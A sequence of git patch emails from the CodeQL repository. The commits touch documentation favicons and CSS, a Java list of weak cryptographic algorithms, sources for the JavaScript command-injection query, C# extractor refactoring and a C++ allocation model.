zoZSrJcu~ird6;rc`ptWP%mz667lmPZQZQhD*Ia^Esy!wST+0ORBaNdyqxHeBX$39N z(0JXud9J6ecs|<%pN&_5y9ihwcyjnqJ3%E0JoaH9@xQbxW`4HTY#HL;r`D&-~oTv))gc?v_6>KWDMY zMq*p@xEs#pFO|x-GdI6B=d3Hvw3)H;P6>zUFW8Q_hnGz*-R_3hab_)C;5zo5e4b>O z_3ogBKO^rbJTv*Y%wyurws5kf4R^t(Xnd)0qQ^RVFBqM>*9EUM)>XqNdvuz^(MOK& zn>hB|?akOr$wT&#!5pkMM<(9Y77c>?G(gwv(L2m|a{V4(i0&@hjeSJMgB5v|#@My* zS67=Hd2P|Mu*>0Y?YZp3zru9`YyT#jgE-ln$`)R_Wqhsu*T$KB(IS4i=3q>oGyR+; zp2GGlap%M?brdD<${C39xCvaWu|}QXW1p!$AY%+>*5tI?qS?g8#7^6O-4`z6>V{6y z=H=w_f#$Jm(S!)?WP|O~eSEJGGjFaGO@KHLj@LDxU1!?q9@{Q`@;eT`(t}oBsElvN z8MUpK?!kAc-EW^Qn12uD5%y|lUOep55N(R{+4G)V-K$Q1e6T7<->FSbvv3vos>xTh zJY|=Do=wKY!Y{fD=U*;8?0?&KZ08VM%)Gbr^=%F5i?;01E+4~xjZJd?{op#6hGf|c+{0_m@u}{!HMLA~Ui}t}DrL@j9nRa7eb9|#VzM*BV{#lg2*Er#p_o3si ztqybU7UDX_v{xNhyl@J)CFktMaXd==d5^oTpK-;bPO*IBAh=g;u3r1Xfkd}+dwv!w zSjigwHayP%E?oIYtYDb^|Ka}<$*}zY!P$H-{9jR8b41#iE!`_I1-`QuxZfq$(g-Y# Jz=bjb{{liWhu#1H literal 0 HcmV?d00001 diff --git a/docs/codeql/index.html b/docs/codeql/index.html index 392dc25c666..ff17adb52a7 100644 --- a/docs/codeql/index.html +++ b/docs/codeql/index.html @@ -5,6 +5,7 @@ CodeQL documentation + From c26ae246b3ac4cd8dc8c46e24dfdf276d9fc7704 Mon Sep 17 00:00:00 2001 From: james Date: Tue, 15 Dec 2020 20:24:29 +0000 Subject: [PATCH 0277/1241] correct path to favicon on docs landing page --- docs/codeql/index.html | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/codeql/index.html b/docs/codeql/index.html index ff17adb52a7..14e175c5ecd 100644 --- a/docs/codeql/index.html +++ b/docs/codeql/index.html @@ -5,7 +5,7 @@ CodeQL documentation - + From d7facb42d6ce5e1d14506acd27db17810324d901 Mon Sep 17 00:00:00 2001 From: luchua-bc Date: Wed, 16 Dec 2020 04:29:23 +0000 Subject: [PATCH 0278/1241] Add missing broken crypto algorithms --- java/ql/src/Security/CWE/CWE-327/BrokenCryptoAlgorithm.qhelp | 2 +- java/ql/src/semmle/code/java/security/Encryption.qll | 4 +++- java/ql/test/library-tests/Encryption/Test.java | 5 ++++- java/ql/test/library-tests/Encryption/insecure.expected | 2 ++ 4 files changed, 10 insertions(+), 3 deletions(-) diff --git a/java/ql/src/Security/CWE/CWE-327/BrokenCryptoAlgorithm.qhelp b/java/ql/src/Security/CWE/CWE-327/BrokenCryptoAlgorithm.qhelp index cd3f86f6bed..74c8582dca8 100644 --- a/java/ql/src/Security/CWE/CWE-327/BrokenCryptoAlgorithm.qhelp +++ b/java/ql/src/Security/CWE/CWE-327/BrokenCryptoAlgorithm.qhelp @@ -12,7 +12,7 @@ data.

    -

    Ensure that you use a strong, modern cryptographic algorithm. Use at least AES-128 or RSA-2048.

    +

    Ensure that you use a strong, modern cryptographic algorithm. Use at least AES-128 or RSA-2048. Do not use the ECB encryption mode since it is vulnerable to reply attacks.

    diff --git a/java/ql/src/semmle/code/java/security/Encryption.qll b/java/ql/src/semmle/code/java/security/Encryption.qll index ea7a33151f8..29ad9a3cfaf 100644 --- a/java/ql/src/semmle/code/java/security/Encryption.qll +++ b/java/ql/src/semmle/code/java/security/Encryption.qll @@ -97,7 +97,9 @@ string getAnInsecureAlgorithmName() { result = "RC2" or result = "RC4" or result = "RC5" or - result = "ARCFOUR" // a variant of RC4 + result = "ARCFOUR" or // a variant of RC4 + result = "ECB" or // encryption mode ECB like AES/ECB/NoPadding is vulnerable to replay attacks + result = "AES/CBC/PKCS5Padding" // CBC mode of operation with PKCS#5 (or PKCS#7) padding is vulnerable to padding oracle attacks } /** diff --git a/java/ql/test/library-tests/Encryption/Test.java b/java/ql/test/library-tests/Encryption/Test.java index e5a1996f28c..e010eaf5849 100644 --- a/java/ql/test/library-tests/Encryption/Test.java +++ b/java/ql/test/library-tests/Encryption/Test.java @@ -10,7 +10,10 @@ class Test { "des", "des_function", "function_using_des", - "EncryptWithDES"); + "EncryptWithDES", + "AES/ECB/NoPadding", + "AES/CBC/PKCS5Padding"); + List goodStrings = Arrays.asList( "AES", diff --git a/java/ql/test/library-tests/Encryption/insecure.expected b/java/ql/test/library-tests/Encryption/insecure.expected index 1e9728f0fcd..1bc1dc71e4d 100644 --- a/java/ql/test/library-tests/Encryption/insecure.expected +++ b/java/ql/test/library-tests/Encryption/insecure.expected @@ -3,3 +3,5 @@ | Test.java:11:4:11:17 | "des_function" | | Test.java:12:4:12:23 | "function_using_des" | | Test.java:13:4:13:19 | "EncryptWithDES" | +| Test.java:14:4:14:22 | "AES/ECB/NoPadding" | +| Test.java:15:4:15:25 | "AES/CBC/PKCS5Padding" | From 1a7ca1d3d27be17feba9de98326981ebe4716f12 Mon Sep 17 00:00:00 2001 From: james Date: Wed, 16 Dec 2020 09:29:26 +0000 Subject: [PATCH 0279/1241] add favicon to query help and support projects --- docs/codeql/query-help/conf.py | 2 ++ docs/codeql/support/conf.py | 2 ++ 2 files changed, 4 insertions(+) diff --git a/docs/codeql/query-help/conf.py b/docs/codeql/query-help/conf.py index d3530956d95..0016a489f07 100644 --- a/docs/codeql/query-help/conf.py +++ b/docs/codeql/query-help/conf.py @@ -54,6 +54,8 @@ templates_path = ['../_templates'] # so a file named "default.css" will overwrite the builtin "default.css". html_static_path = ['../_static'] +html_favicon = '../images/site/favicon.ico' + # List of patterns, relative to source directory, that match files and # directories to ignore when looking for source files. diff --git a/docs/codeql/support/conf.py b/docs/codeql/support/conf.py index 1647b35eb35..45a8456ce9a 100644 --- a/docs/codeql/support/conf.py +++ b/docs/codeql/support/conf.py @@ -71,6 +71,8 @@ html_theme_options = {'font_size': '16px', 'nosidebar':True, } +html_favicon = '../images/site/favicon.ico' + # -- Currently unused, but potentially useful, configs-------------------------------------- # Add any paths that contain custom themes here, relative to this directory. From d377a02825207804246ea7c4f31d5a6b6a38cbb0 Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen Date: Wed, 16 Dec 2020 14:53:23 +0100 Subject: [PATCH 0280/1241] add change note --- javascript/change-notes/2020-12-16-build-artifact-leak.md | 2 ++ 1 file changed, 2 insertions(+) create mode 100644 javascript/change-notes/2020-12-16-build-artifact-leak.md diff --git a/javascript/change-notes/2020-12-16-build-artifact-leak.md b/javascript/change-notes/2020-12-16-build-artifact-leak.md new file mode 100644 index 00000000000..0ef26c549d6 --- /dev/null +++ b/javascript/change-notes/2020-12-16-build-artifact-leak.md @@ -0,0 +1,2 @@ +lgtm,codescanning +* The `js/build-artifact-leak` query no longer reports when only a safe subset of the properties on `process.env` are included in a build-artifact. From 3d03e7192c09716dbe833be1709130c781b91b08 Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen Date: Wed, 16 Dec 2020 14:57:20 +0100 Subject: [PATCH 0281/1241] Update javascript/ql/src/semmle/javascript/security/dataflow/IndirectCommandInjectionCustomizations.qll Co-authored-by: Esben Sparre Andreasen --- .../dataflow/IndirectCommandInjectionCustomizations.qll | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/javascript/ql/src/semmle/javascript/security/dataflow/IndirectCommandInjectionCustomizations.qll b/javascript/ql/src/semmle/javascript/security/dataflow/IndirectCommandInjectionCustomizations.qll index 761cfff64d2..08eb1eb1e6b 100644 --- a/javascript/ql/src/semmle/javascript/security/dataflow/IndirectCommandInjectionCustomizations.qll +++ b/javascript/ql/src/semmle/javascript/security/dataflow/IndirectCommandInjectionCustomizations.qll @@ -53,7 +53,7 @@ module IndirectCommandInjection { // `require("arg")({...spec})` => `{_: [], a: ..., b: ...}` this = DataFlow::moduleImport("arg").getACall() or - // https://www.npmjs.com/package/argparse + // `(new (require(argparse)).ArgumentParser({...spec})).parse_args()` => `{a: ..., b: ...}` this = API::moduleImport("argparse") .getMember("ArgumentParser") From 2ae04009221b93dd67f2302c9988ac16bffda345 Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen Date: Wed, 16 Dec 2020 15:00:44 +0100 Subject: [PATCH 0282/1241] update docstring for dashdash --- .../dataflow/IndirectCommandInjectionCustomizations.qll | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/javascript/ql/src/semmle/javascript/security/dataflow/IndirectCommandInjectionCustomizations.qll b/javascript/ql/src/semmle/javascript/security/dataflow/IndirectCommandInjectionCustomizations.qll index 08eb1eb1e6b..c0563c33c1e 100644 --- a/javascript/ql/src/semmle/javascript/security/dataflow/IndirectCommandInjectionCustomizations.qll +++ b/javascript/ql/src/semmle/javascript/security/dataflow/IndirectCommandInjectionCustomizations.qll @@ -67,7 +67,7 @@ module IndirectCommandInjection { // `require('meow')(help, {...spec})` => `{a: ..., b: ....}` this = DataFlow::moduleImport("meow").getACall() or - // https://www.npmjs.com/package/dashdash + // `require("dashdash").createParser(...spec)` => `{a: ..., b: ...}` this = [ API::moduleImport("dashdash"), From 6b77922a25b5c0179b6b9e101bbe61c90a5261f5 Mon Sep 17 00:00:00 2001 From: luchua-bc Date: Wed, 16 Dec 2020 14:04:45 +0000 Subject: [PATCH 0283/1241] Fix typo and update qldoc --- java/ql/src/Security/CWE/CWE-327/BrokenCryptoAlgorithm.qhelp | 2 +- java/ql/src/semmle/code/java/security/Encryption.qll | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/java/ql/src/Security/CWE/CWE-327/BrokenCryptoAlgorithm.qhelp b/java/ql/src/Security/CWE/CWE-327/BrokenCryptoAlgorithm.qhelp index 74c8582dca8..1d8e8db6798 100644 --- a/java/ql/src/Security/CWE/CWE-327/BrokenCryptoAlgorithm.qhelp +++ b/java/ql/src/Security/CWE/CWE-327/BrokenCryptoAlgorithm.qhelp @@ -12,7 +12,7 @@ data.

    -

    Ensure that you use a strong, modern cryptographic algorithm. Use at least AES-128 or RSA-2048. Do not use the ECB encryption mode since it is vulnerable to reply attacks.

    +

    Ensure that you use a strong, modern cryptographic algorithm. Use at least AES-128 or RSA-2048. Do not use the ECB encryption mode since it is vulnerable to replay and other attacks.

    diff --git a/java/ql/src/semmle/code/java/security/Encryption.qll b/java/ql/src/semmle/code/java/security/Encryption.qll index 29ad9a3cfaf..38e7b16c9f0 100644 --- a/java/ql/src/semmle/code/java/security/Encryption.qll +++ b/java/ql/src/semmle/code/java/security/Encryption.qll @@ -98,7 +98,7 @@ string getAnInsecureAlgorithmName() { result = "RC4" or result = "RC5" or result = "ARCFOUR" or // a variant of RC4 - result = "ECB" or // encryption mode ECB like AES/ECB/NoPadding is vulnerable to replay attacks + result = "ECB" or // encryption mode ECB like AES/ECB/NoPadding is vulnerable to replay and other attacks result = "AES/CBC/PKCS5Padding" // CBC mode of operation with PKCS#5 (or PKCS#7) padding is vulnerable to padding oracle attacks } From 99af484042a21160c1b74ecf65942891015f88a5 Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen Date: Wed, 16 Dec 2020 15:05:59 +0100 Subject: [PATCH 0284/1241] move the "commander" source --- ...IndirectCommandInjectionCustomizations.qll | 19 ++++++------------- 1 file changed, 6 insertions(+), 13 deletions(-) diff --git a/javascript/ql/src/semmle/javascript/security/dataflow/IndirectCommandInjectionCustomizations.qll b/javascript/ql/src/semmle/javascript/security/dataflow/IndirectCommandInjectionCustomizations.qll index c0563c33c1e..e202811f372 100644 --- a/javascript/ql/src/semmle/javascript/security/dataflow/IndirectCommandInjectionCustomizations.qll +++ b/javascript/ql/src/semmle/javascript/security/dataflow/IndirectCommandInjectionCustomizations.qll @@ -73,6 +73,12 @@ module IndirectCommandInjection { API::moduleImport("dashdash"), API::moduleImport("dashdash").getMember("createParser").getReturn() ].getMember("parse").getACall() + or + // `require('commander').myCmdArgumentName` + this = commander().getAMember().getAnImmediateUse() + or + // `require('commander').opt()` => `{a: ..., b: ...}` + this = commander().getMember("opts").getACall() } } @@ -105,19 +111,6 @@ module IndirectCommandInjection { result = commander().getAMember().getReturn() } - /** - * A source of user input from the command-line parsed by the `commander` library. - */ - private class CommanderSource extends Source { - CommanderSource() { - // the parsed commands are stored as properties on the command object. - this = commander().getAMember().getAnImmediateUse() - or - // or the `opts()` method gets a list of them. - this = commander().getMember("opts").getACall() - } - } - /** * Gets an instance of `yargs`. * Either directly imported as a module, or through some chained method call. From 94e07bb91cffd1b859a2f3fe29da5f7de43adb0d Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen Date: Wed, 16 Dec 2020 15:10:03 +0100 Subject: [PATCH 0285/1241] add change note --- .../change-notes/2020-12-16-indirect-cmd-libraries.md | 9 +++++++++ 1 file changed, 9 insertions(+) create mode 100644 javascript/change-notes/2020-12-16-indirect-cmd-libraries.md diff --git a/javascript/change-notes/2020-12-16-indirect-cmd-libraries.md b/javascript/change-notes/2020-12-16-indirect-cmd-libraries.md new file mode 100644 index 00000000000..4d4e98ea8c1 --- /dev/null +++ b/javascript/change-notes/2020-12-16-indirect-cmd-libraries.md @@ -0,0 +1,9 @@ +lgtm,codescanning +* The `js/indirect-command-line-injection` query now supports more command-line parsing libraries. + Affected packages are + [arg](https://www.npmjs.com/package/arg), + [argparse](https://www.npmjs.com/package/argparse), + [command-line-args](https://www.npmjs.com/package/command-line-args), + [meow](https://www.npmjs.com/package/meow), + [dashdash](https://www.npmjs.com/package/dashdash), + [commander](https://www.npmjs.com/package/commander). From c89f7d824b6d280d00b276f0413a060f08378b8d Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Wed, 16 Dec 2020 15:08:53 +0000 Subject: [PATCH 0286/1241] C++: Back out support for SysAllocString. It turns out supporting all of the SysAlloc stuff is beyond our current models, supporting just SysFreeString as we do is OK. --- cpp/ql/src/semmle/code/cpp/models/implementations/Strdup.qll | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/Strdup.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/Strdup.qll index 69ea3610970..e2443b8151c 100644 --- a/cpp/ql/src/semmle/code/cpp/models/implementations/Strdup.qll +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/Strdup.qll @@ -19,9 +19,7 @@ private class StrdupFunction extends AllocationFunction, ArrayFunction, DataFlow "wcsdup", // wcsdup(str) "_strdup", // _strdup(str) "_wcsdup", // _wcsdup(str) - "_mbsdup", // _mbsdup(str) - // --- Windows Automation - "SysAllocString" // SysAllocString(string) + "_mbsdup" // _mbsdup(str) ]) } From 1bc65a68dfbe2a426c779e2f4b0d98745921224b Mon Sep 17 00:00:00 2001 From: Tamas Vajk Date: Wed, 16 Dec 2020 16:12:11 +0100 Subject: [PATCH 0287/1241] Address PR review comments --- .../Entities/ArrayType.cs | 6 +- .../Entities/Attribute.cs | 4 +- .../Entities/CustomAttributeDecoder.cs | 5 +- .../Entities/DefinitionMethod.cs | 10 ++-- .../Entities/GenericsHelper.cs | 2 +- .../Entities/NamedTypeIdWriter.cs | 2 +- ...dataHandleType.FullyQualifiedNameParser.cs | 57 ++++++++----------- .../Entities/SignatureDecoder.cs | 4 +- .../Semmle.Extraction.CIL/Entities/Type.cs | 9 +-- .../Entities/TypeDefinitionType.cs | 2 +- .../Entities/TypeTypeParameter.cs | 2 +- .../StringExtensions.cs | 2 +- 12 files changed, 45 insertions(+), 60 deletions(-) rename csharp/extractor/{Semmle.Extraction.CIL => Semmle.Util}/StringExtensions.cs (97%) diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/ArrayType.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/ArrayType.cs index 07706b397b0..ae04add2b12 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/Entities/ArrayType.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/ArrayType.cs @@ -31,11 +31,11 @@ namespace Semmle.Extraction.CIL.Entities public override void WriteId(TextWriter trapFile, bool inContext) { - elementType.GetId(trapFile, inContext); + elementType.WriteId(trapFile, inContext); trapFile.Write('['); - if (rank > 1) + for (var i = 1; i < rank; ++i) { - trapFile.Write(new string(',', rank - 1)); + trapFile.Write(','); } trapFile.Write(']'); } diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/Attribute.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/Attribute.cs index 4e29c01f659..c862bc3fc4e 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/Entities/Attribute.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/Attribute.cs @@ -43,7 +43,7 @@ namespace Semmle.Extraction.CIL.Entities { decoded = attrib.DecodeValue(new CustomAttributeDecoder(Cx)); } - catch (Exception exc) + catch { Cx.Cx.Extractor.Logger.Log(Util.Logging.Severity.Info, $"Attribute decoding is partial. Decoding attribute {constructor.DeclaringType.GetQualifiedName()} failed on {@object}."); @@ -59,7 +59,7 @@ namespace Semmle.Extraction.CIL.Entities foreach (var p in decoded.NamedArguments) { var stringValue = GetStringValue(p.Type, p.Value); - yield return Tuples.cil_attribute_named_argument(this, p.Name, stringValue); + yield return Tuples.cil_attribute_named_argument(this, p.Name!, stringValue); } } } diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/CustomAttributeDecoder.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/CustomAttributeDecoder.cs index aa95f49f6e4..caf6a3287de 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/Entities/CustomAttributeDecoder.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/CustomAttributeDecoder.cs @@ -30,10 +30,9 @@ namespace Semmle.Extraction.CIL.Entities public PrimitiveTypeCode GetUnderlyingEnumType(Type type) { if (type is TypeDefinitionType tdt && - tdt.GetUnderlyingEnumType() is var underlying && - underlying.HasValue) + tdt.GetUnderlyingEnumType() is PrimitiveTypeCode underlying) { - return underlying.Value; + return underlying; } var name = type.GetQualifiedName(); diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/DefinitionMethod.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/DefinitionMethod.cs index 43bee72a9c0..8fc836b4df7 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/Entities/DefinitionMethod.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/DefinitionMethod.cs @@ -178,7 +178,7 @@ namespace Semmle.Extraction.CIL.Entities } } - private IEnumerable Decode(byte[] ilbytes, Dictionary jump_table) + private IEnumerable Decode(byte[]? ilbytes, Dictionary jump_table) { // Sequence points are stored in order of offset. // We use an enumerator to locate the correct sequence point for each instruction. @@ -203,9 +203,9 @@ namespace Semmle.Extraction.CIL.Entities } var child = 0; - for (var offset = 0; offset < ilbytes.Length;) + for (var offset = 0; offset < (ilbytes?.Length ?? 0);) { - var instruction = new Instruction(Cx, this, ilbytes, offset, child++); + var instruction = new Instruction(Cx, this, ilbytes!, offset, child++); yield return instruction; if (nextSequencePoint != null && offset >= nextSequencePoint.Current.Offset) @@ -245,12 +245,12 @@ namespace Semmle.Extraction.CIL.Entities var ilbytes = body.GetILBytes(); var child = 0; - for (var offset = 0; offset < ilbytes.Length;) + for (var offset = 0; offset < (ilbytes?.Length ?? 0);) { Instruction decoded; try { - decoded = new Instruction(Cx, this, ilbytes, offset, child++); + decoded = new Instruction(Cx, this, ilbytes!, offset, child++); offset += decoded.Width; } catch // lgtm[cs/catch-of-all-exceptions] diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/GenericsHelper.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/GenericsHelper.cs index c7377637d61..311d4e48134 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/Entities/GenericsHelper.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/GenericsHelper.cs @@ -10,7 +10,7 @@ namespace Semmle.Extraction.CIL.Entities var newTypeParams = new TypeTypeParameter[count]; for (var i = 0; i < newTypeParams.Length; ++i) { - newTypeParams[i] = new TypeTypeParameter(container, container, i); + newTypeParams[i] = new TypeTypeParameter(container, i); } return newTypeParams; } diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/NamedTypeIdWriter.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/NamedTypeIdWriter.cs index a2c27893e3e..35881b67257 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/Entities/NamedTypeIdWriter.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/NamedTypeIdWriter.cs @@ -24,7 +24,7 @@ namespace Semmle.Extraction.CIL.Entities var ct = type.ContainingType; if (ct != null) { - ct.GetId(trapFile, inContext); + ct.WriteId(trapFile, inContext); trapFile.Write('.'); } else diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/NoMetadataHandleType.FullyQualifiedNameParser.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/NoMetadataHandleType.FullyQualifiedNameParser.cs index 2558a3f56a3..d7940be6cc5 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/Entities/NoMetadataHandleType.FullyQualifiedNameParser.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/NoMetadataHandleType.FullyQualifiedNameParser.cs @@ -1,6 +1,7 @@ using System; using System.Collections.Generic; using System.Linq; +using Semmle.Util; namespace Semmle.Extraction.CIL.Entities { @@ -33,7 +34,7 @@ namespace Semmle.Extraction.CIL.Entities { ExtractAssemblyName(ref name, out var lastBracketIndex); ExtractTypeArguments(ref name, lastBracketIndex, out var containerTypeArguments); - ExtractContainer(ref name, containerTypeArguments); + ContainerName = ExtractContainer(ref name, containerTypeArguments); ShortName = name; } @@ -70,51 +71,43 @@ namespace Semmle.Extraction.CIL.Entities TypeArguments = thisTypeArgs; - if (string.IsNullOrWhiteSpace(containerTypeArgs)) - { - // containing type is not constructed generics - containerTypeArguments = ""; - } - else - { - // "T3,[T4, Assembly1, Version=...],,]" - containerTypeArguments = $"[{containerTypeArgs}]"; - } + containerTypeArguments = string.IsNullOrWhiteSpace(containerTypeArgs) + ? "" // containing type is not constructed generics + : $"[{containerTypeArgs}]"; // "T3,[T4, Assembly1, Version=...],,]" UnboundGenericTypeName = $"{name}{AssemblySuffix}"; } - private void ExtractContainer(ref string name, string containerTypeArguments) + private string ExtractContainer(ref string name, string containerTypeArguments) { var lastPlusIndex = name.LastIndexOf('+'); IsContainerNamespace = lastPlusIndex < 0; if (IsContainerNamespace) { - ExtractContainerNamespace(ref name); - } - else - { - ExtractContainerType(ref name, containerTypeArguments, lastPlusIndex); + return ExtractContainerNamespace(ref name); } + + return ExtractContainerType(ref name, containerTypeArguments, lastPlusIndex); } - private void ExtractContainerNamespace(ref string name) + private static string ExtractContainerNamespace(ref string name) { var lastDotIndex = name.LastIndexOf('.'); if (lastDotIndex >= 0) { - (ContainerName, _, name) = name.Split(lastDotIndex, lastDotIndex + 1); - } - else - { - ContainerName = ""; // global namespace name + string containerName; + (containerName, _, name) = name.Split(lastDotIndex, lastDotIndex + 1); + return containerName; } + + return ""; // global namespace name } - private void ExtractContainerType(ref string name, string containerTypeArguments, int lastPlusIndex) + private string ExtractContainerType(ref string name, string containerTypeArguments, int lastPlusIndex) { - (ContainerName, _, name) = name.Split(lastPlusIndex, lastPlusIndex + 1); - ContainerName = $"{ContainerName}{containerTypeArguments}{AssemblySuffix}"; + string containerName; + (containerName, _, name) = name.Split(lastPlusIndex, lastPlusIndex + 1); + return $"{containerName}{containerTypeArguments}{AssemblySuffix}"; } private void ExtractAssemblyName(ref string name, out int lastBracketIndex) @@ -157,14 +150,10 @@ namespace Semmle.Extraction.CIL.Entities thisTypeArgs.Push(typeArgs[(startCurrentType + 1)..^1]); } - if (startCurrentType != 0) - { - typeArgs = typeArgs.Substring(0, startCurrentType - 1); - } - else - { - typeArgs = ""; - } + typeArgs = startCurrentType != 0 + ? typeArgs.Substring(0, startCurrentType - 1) + : ""; + thisTypeArgCount--; } return (typeArgs, thisTypeArgs.ToList()); diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/SignatureDecoder.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/SignatureDecoder.cs index c784bf0f413..571e37ef697 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/Entities/SignatureDecoder.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/SignatureDecoder.cs @@ -21,9 +21,9 @@ namespace Semmle.Extraction.CIL.Entities { elementType.WriteId(trapFile, gc); trapFile.Write('['); - if (shape.Rank > 1) + for (var i = 1; i < shape.Rank; ++i) { - trapFile.Write(string.Join(",", shape.Rank - 1)); + trapFile.Write(','); } trapFile.Write(']'); } diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/Type.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/Type.cs index 1010028a136..edeb1a54136 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/Entities/Type.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/Type.cs @@ -48,8 +48,6 @@ namespace Semmle.Extraction.CIL.Entities public sealed override void WriteId(TextWriter trapFile) => WriteId(trapFile, false); - public void GetId(TextWriter trapFile, bool inContext) => WriteId(trapFile, inContext); - /// /// Returns the friendly qualified name of types, such as /// ``"System.Collection.Generic.List`1"`` or @@ -60,7 +58,7 @@ namespace Semmle.Extraction.CIL.Entities public string GetQualifiedName() { using var writer = new StringWriter(); - GetId(writer, false); + WriteId(writer, false); var name = writer.ToString(); return name.Substring(name.IndexOf(AssemblyTypeNameSeparator) + 2); } @@ -107,9 +105,8 @@ namespace Semmle.Extraction.CIL.Entities /// The total number of type parameters/type arguments (including parent types). /// This is used for internal consistency checking only. /// - public int TotalTypeParametersCount => ContainingType == null - ? ThisTypeParameterCount - : ThisTypeParameterCount + ContainingType.TotalTypeParametersCount; + public int TotalTypeParametersCount => + ThisTypeParameterCount + (ContainingType?.TotalTypeParametersCount ?? 0); ///
    /// Returns all bound/unbound generic arguments of a constructed/unbound generic type. diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/TypeDefinitionType.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/TypeDefinitionType.cs index ba9e9cc2eda..44bb9020813 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/Entities/TypeDefinitionType.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/TypeDefinitionType.cs @@ -85,7 +85,7 @@ namespace Semmle.Extraction.CIL.Entities // Two-phase population because type parameters can be mutually dependent for (var i = 0; i < newTypeParams.Length; ++i) - newTypeParams[i] = Cx.Populate(new TypeTypeParameter(this, this, i)); + newTypeParams[i] = Cx.Populate(new TypeTypeParameter(this, i)); for (var i = 0; i < newTypeParams.Length; ++i) newTypeParams[i].PopulateHandle(genericParams[i + toSkip]); return newTypeParams; diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/TypeTypeParameter.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/TypeTypeParameter.cs index 8addf443ae3..15db1536a3f 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/Entities/TypeTypeParameter.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/TypeTypeParameter.cs @@ -9,7 +9,7 @@ namespace Semmle.Extraction.CIL.Entities private readonly Type type; private readonly int index; - public TypeTypeParameter(GenericContext cx, Type t, int i) : base(cx) + public TypeTypeParameter(Type t, int i) : base(t) { index = i; type = t; diff --git a/csharp/extractor/Semmle.Extraction.CIL/StringExtensions.cs b/csharp/extractor/Semmle.Util/StringExtensions.cs similarity index 97% rename from csharp/extractor/Semmle.Extraction.CIL/StringExtensions.cs rename to csharp/extractor/Semmle.Util/StringExtensions.cs index 0ceb86d110a..d5d6c8cf27d 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/StringExtensions.cs +++ b/csharp/extractor/Semmle.Util/StringExtensions.cs @@ -1,7 +1,7 @@ using System.Collections.Generic; using System.Linq; -namespace Semmle.Extraction.CIL +namespace Semmle.Util { public static class StringExtensions { From 256460dddc00e6e8c83d9e06580375d89ea10b61 Mon Sep 17 00:00:00 2001 From: james Date: Wed, 16 Dec 2020 15:31:25 +0000 Subject: [PATCH 0288/1241] fix footnote spacing --- docs/codeql/_static/custom.css_t | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/docs/codeql/_static/custom.css_t b/docs/codeql/_static/custom.css_t index 927660034fe..a705cfdccbd 100644 --- a/docs/codeql/_static/custom.css_t +++ b/docs/codeql/_static/custom.css_t @@ -181,6 +181,11 @@ table.docutils.footnote { margin-left: 10px; } +table.footnote td.label { + padding-right: 10px; + display: table-cell; +} + /* -- STYLE PULL-QUOTE AS ADMONITION WHILE DOCS STILL PARSED FOR LGTM EMBEDDED HELP------------------------- */ blockquote.pull-quote { From 2210344f4d93c95ce98970cfd6e8b3734650020c Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Wed, 16 Dec 2020 15:44:53 +0000 Subject: [PATCH 0289/1241] C++: Add a test. --- .../AllocMultiplicationOverflow.expected | 17 ++++++++++ .../AllocMultiplicationOverflow.qlref | 1 + .../AllocMultiplicationOverflow/test.cpp | 32 +++++++++++++++++++ 3 files changed, 50 insertions(+) create mode 100644 